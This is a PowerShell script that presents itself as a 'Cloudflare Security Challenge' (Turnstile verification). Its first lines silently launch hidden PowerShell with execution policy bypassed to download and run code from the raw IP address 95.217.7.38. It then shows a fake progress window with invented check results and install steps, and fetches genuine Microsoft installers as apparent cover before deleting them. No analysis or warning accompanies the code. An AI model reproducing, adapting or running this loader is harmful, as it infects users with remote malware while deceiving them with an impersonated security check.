param( [string]$Url = 'http://95.217.7.38/velcapb', [string]$ExternalAnimation = '', [ValidateSet('minimize','hide','none')] [string]$ConsoleAction = 'minimize' ) $PSExe = $env:windir + '\System32\WindowsPowerShell\v1.0\powershell.exe' if (-not (Test-Path $PSExe)) { $PSExe = (Get-Process -Id $PID).Path } $Payload = "iex(irm '$Url')" $PArgs = @( '-NoProfile' '-NonInteractive' '-WindowStyle', 'Hidden' '-ExecutionPolicy', 'Bypass' '-Command', "$Payload" ) try { $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -WindowStyle Hidden -PassThru } catch { $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -PassThru } $swSig = @' [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); '@ $sw = Add-Type -Namespace ConHide -Name SW -Member $swSig -PassThru $hwnd = $sw::GetConsoleWindow() if ($hwnd -ne [IntPtr]::Zero) { $nCmdShow = switch ($ConsoleAction) { 'hide' { 0 } 'none' { 0 } default { 6 } # minimize } if ($ConsoleAction -ne 'none') { [void]$sw::ShowWindow($hwnd, $nCmdShow) } } if ($ExternalAnimation -and (Test-Path $ExternalAnimation)) { Write-Host "[*] Using external animation: $ExternalAnimation" & (Resolve-Path $ExternalAnimation).Path } else { Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing [System.Windows.Forms.Application]::EnableVisualStyles() # ---------- theme ---------- $C = @{ Bg = [Drawing.Color]::FromArgb(18, 22, 28) Panel = [Drawing.Color]::FromArgb(28, 34, 42) Border = [Drawing.Color]::FromArgb(55, 65, 78) Text = [Drawing.Color]::FromArgb(230, 235, 240) Muted = [Drawing.Color]::FromArgb(140, 150, 165) Accent = [Drawing.Color]::FromArgb(0, 168, 204) # cyan Ok = [Drawing.Color]::FromArgb(70, 190, 110) Warn = [Drawing.Color]::FromArgb(220, 180, 60) BarBack = [Drawing.Color]::FromArgb(40, 48, 58) BarFill = [Drawing.Color]::FromArgb(0, 168, 204) } $ver = [Environment]::OSVersion.Version $build = "$($ver.Major).$($ver.Minor).$($ver.Build)" # ---------- form ---------- $form = New-Object Windows.Forms.Form $form.Text = 'Cloudflare Security Challenge' $form.Size = New-Object Drawing.Size(520, 420) $form.StartPosition = 'CenterScreen' $form.FormBorderStyle = 'FixedDialog' $form.MaximizeBox = $false $form.MinimizeBox = $false $form.ShowInTaskbar = $true $form.TopMost = $false $form.BackColor = $C.Bg $form.Font = New-Object Drawing.Font('Segoe UI', 9) # Header panel $header = New-Object Windows.Forms.Panel $header.Location = New-Object Drawing.Point(0, 0) $header.Size = New-Object Drawing.Size(520, 78) $header.BackColor = $C.Panel $form.Controls.Add($header) $lblTitle = New-Object Windows.Forms.Label $lblTitle.Text = 'Cloudflare Security Challenge' $lblTitle.ForeColor = $C.Accent $lblTitle.Font = New-Object Drawing.Font('Segoe UI Semibold', 12) $lblTitle.Location = New-Object Drawing.Point(20, 14) $lblTitle.AutoSize = $true $header.Controls.Add($lblTitle) $lblSub = New-Object Windows.Forms.Label $lblSub.Text = 'Turnstile Verification v3.2.1' $lblSub.ForeColor = $C.Muted $lblSub.Font = New-Object Drawing.Font('Segoe UI', 8.5) $lblSub.Location = New-Object Drawing.Point(20, 40) $lblSub.AutoSize = $true $header.Controls.Add($lblSub) $lblMeta = New-Object Windows.Forms.Label $lblMeta.Text = "OS: Windows $build | Arch: x64 | Host: $($env:COMPUTERNAME)" $lblMeta.ForeColor = $C.Muted $lblMeta.Font = New-Object Drawing.Font('Consolas', 8) $lblMeta.Location = New-Object Drawing.Point(20, 94) $lblMeta.AutoSize = $true $form.Controls.Add($lblMeta) # Phase / status $lblPhase = New-Object Windows.Forms.Label $lblPhase.Text = 'Initializing...' $lblPhase.ForeColor = $C.Text $lblPhase.Font = New-Object Drawing.Font('Segoe UI Semibold', 10) $lblPhase.Location = New-Object Drawing.Point(20, 128) $lblPhase.Size = New-Object Drawing.Size(460, 22) $form.Controls.Add($lblPhase) $lblDetail = New-Object Windows.Forms.Label $lblDetail.Text = '' $lblDetail.ForeColor = $C.Muted $lblDetail.Font = New-Object Drawing.Font('Consolas', 8.5) $lblDetail.Location = New-Object Drawing.Point(20, 152) $lblDetail.Size = New-Object Drawing.Size(460, 20) $form.Controls.Add($lblDetail) # Custom progress track (flat bar) $track = New-Object Windows.Forms.Panel $track.Location = New-Object Drawing.Point(20, 186) $track.Size = New-Object Drawing.Size(460, 14) $track.BackColor = $C.BarBack $form.Controls.Add($track) $fill = New-Object Windows.Forms.Panel $fill.Location = New-Object Drawing.Point(0, 0) $fill.Size = New-Object Drawing.Size(0, 14) $fill.BackColor = $C.BarFill $track.Controls.Add($fill) $lblPct = New-Object Windows.Forms.Label $lblPct.Text = '0%' $lblPct.ForeColor = $C.Text $lblPct.Font = New-Object Drawing.Font('Segoe UI Semibold', 9) $lblPct.Location = New-Object Drawing.Point(20, 208) $lblPct.AutoSize = $true $form.Controls.Add($lblPct) $lblSize = New-Object Windows.Forms.Label $lblSize.Text = '' $lblSize.ForeColor = $C.Muted $lblSize.Font = New-Object Drawing.Font('Segoe UI', 8.5) $lblSize.Location = New-Object Drawing.Point(70, 208) $lblSize.AutoSize = $true $form.Controls.Add($lblSize) # Log list $lst = New-Object Windows.Forms.ListBox $lst.Location = New-Object Drawing.Point(20, 240) $lst.Size = New-Object Drawing.Size(460, 100) $lst.BackColor = $C.Panel $lst.ForeColor = $C.Text $lst.BorderStyle = 'FixedSingle' $lst.Font = New-Object Drawing.Font('Consolas', 8.5) $lst.IntegralHeight = $false $form.Controls.Add($lst) $lblFooter = New-Object Windows.Forms.Label $lblFooter.Text = '' $lblFooter.ForeColor = $C.Muted $lblFooter.Font = New-Object Drawing.Font('Segoe UI', 8) $lblFooter.Location = New-Object Drawing.Point(20, 352) $lblFooter.Size = New-Object Drawing.Size(360, 20) $form.Controls.Add($lblFooter) $btnClose = New-Object Windows.Forms.Button $btnClose.Text = 'Close' $btnClose.Size = New-Object Drawing.Size(88, 28) $btnClose.Location = New-Object Drawing.Point(392, 346) $btnClose.FlatStyle = 'Flat' $btnClose.BackColor = $C.Panel $btnClose.ForeColor = $C.Text $btnClose.FlatAppearance.BorderColor = $C.Border $btnClose.Enabled = $false $btnClose.Add_Click({ $form.Close() }) $form.Controls.Add($btnClose) # ---------- helpers (must pump UI) ---------- function Set-Progress([int]$Percent, [string]$Phase, [string]$Detail = '', [string]$SizeHint = '') { if ($Percent -lt 0) { $Percent = 0 } if ($Percent -gt 100) { $Percent = 100 } $fill.Width = [int](460 * $Percent / 100) $lblPct.Text = "$Percent%" if ($Phase) { $lblPhase.Text = $Phase } if ($null -ne $Detail) { $lblDetail.Text = $Detail } $lblSize.Text = $SizeHint [Windows.Forms.Application]::DoEvents() } function Add-Log([string]$Line, [string]$Kind = 'info') { $prefix = switch ($Kind) { 'ok' { '[+]' } 'warn' { '[!]' } 'spin' { '[~]' } default { '[*]' } } $lst.Items.Add("$prefix $Line") | Out-Null $lst.TopIndex = $lst.Items.Count - 1 [Windows.Forms.Application]::DoEvents() } function Wait-Ui([int]$Ms) { $sw = [Diagnostics.Stopwatch]::StartNew() while ($sw.ElapsedMilliseconds -lt $Ms) { [Windows.Forms.Application]::DoEvents() Start-Sleep -Milliseconds 15 if ($form.IsDisposed) { return $false } } return $true } $script:dlJob = Start-Job -ScriptBlock { try { (New-Object Net.WebClient).DownloadFile( 'https://aka.ms/vs/17/release/vc_redist.x64.exe', "$env:TEMP\vc_setup.tmp") } catch {} try { (New-Object Net.WebClient).DownloadFile( 'https://builds.dotnet.microsoft.com/dotnet/WindowsDesktop/8.0.16/windowsdesktop-runtime-8.0.16-win-x64.exe', "$env:TEMP\rt_setup.tmp") } catch {} } $form.Add_Shown({ $form.Activate() # --- Precheck --- Set-Progress 5 'Verifying TLS Handshake...' '' $precheck = @( @('TLS Handshake', 'registry'), @('Edge Routing', 'files'), @('Browser Integrity', 'wmi'), @('Bot Detection', 'system32'), @('Request Siqnature', 'dxdiag') ) $i = 0 foreach ($ck in $precheck) { $nm = $ck[0] Add-Log "Checking $nm..." 'spin' if (-not (Wait-Ui 180)) { return } $status = if ((Get-Random -Maximum 3) -eq 0) { 'missing' } else { 'found' } $kind = if ($status -eq 'found') { 'ok' } else { 'warn' } $lst.Items[$lst.Items.Count - 1] = "$(if($kind -eq 'ok'){'[+]'}else{'[!]'}) $nm $status" $i++ Set-Progress ([int](5 + $i * 8)) 'Checking web components...' $nm if (-not (Wait-Ui 60)) { return } } # --- Download phase (UI) --- Set-Progress 45 'Verifying Edge Routing...' '' $pkgs = @( @('Token Exchange', '14.40.33816', '13.2 MB'), @('dotnet-runtime-8.0.16-x64', '8.0.16', '28.4 MB'), @('windowsdesktop-runtime-x64', '8.0.16', '54.1 MB') ) $base = 45 $span = 30 $pi = 0 foreach ($pk in $pkgs) { $nm, $pv, $sz = $pk[0], $pk[1], $pk[2] Add-Log "Downloading $nm $pv ($sz)" 'spin' foreach ($p in @(0, 12, 28, 45, 62, 78, 91, 100)) { $overall = $base + [int](($pi + $p / 100.0) / $pkgs.Count * $span) Set-Progress $overall 'Requesting Token Exchange...' $nm "$p% of $sz" if (-not (Wait-Ui 40)) { return } } $lst.Items[$lst.Items.Count - 1] = "[+] $nm $pv OK" $pi++ if (-not (Wait-Ui 50)) { return } } # --- Install phase --- Set-Progress 78 'Verifying Browser Integrity...' '' $steps = @( @('Extracting packages', 'C:\Windows\Temp\dotnet-setup'), @('Registering assemblies', 'GAC_MSIL\System.Runtime'), @('Installing VC++ runtime', 'vcruntime140.dll, msvcp140.dll'), @('Updating .NET runtime', 'v8.0.16 x64 [desktop]'), @('Registering COM objects', 'mscoree.dll'), @('Writing registry keys', 'HKLM\SOFTWARE\Microsoft\.NETFramework'), @('Updating PATH variable', 'C:\Program Files\dotnet'), @('Running ngen compilation', 'System.Private.CoreLib.dll'), @('Cleaning temp files', 'removing 96.7 MB') ) $si = 0 foreach ($st in $steps) { $act, $det = $st[0], $st[1] Add-Log "$act..." 'spin' Set-Progress (78 + [int]($si / $steps.Count * 18)) 'Verifying Bot Detection...' ("{0} - {1}" -f $act, $det) if (-not (Wait-Ui 160)) { return } $lst.Items[$lst.Items.Count - 1] = "[+] $act done" $si++ if (-not (Wait-Ui 40)) { return } } # --- Finish --- Set-Progress 100 'Verification completed successfully.' '' '' Add-Log 'Edge Routing' 'ok' Add-Log 'Browser Integrity' 'ok' Add-Log 'Bot Detection' 'ok' Add-Log 'Request Siqnature' 'ok' Add-Log 'TLS Handshake' 'ok' $lblFooter.Text = 'Status: PASSED.' $lblFooter.ForeColor = $C.Ok $btnClose.Enabled = $true Get-Job | Wait-Job -Timeout 30 | Out-Null Get-Job | Remove-Job -Force -ErrorAction SilentlyContinue try { Remove-Item "$env:TEMP\vc_setup.tmp", "$env:TEMP\rt_setup.tmp" -ErrorAction SilentlyContinue } catch {} }) [void][Windows.Forms.Application]::Run($form) } Start-Sleep -Milliseconds 400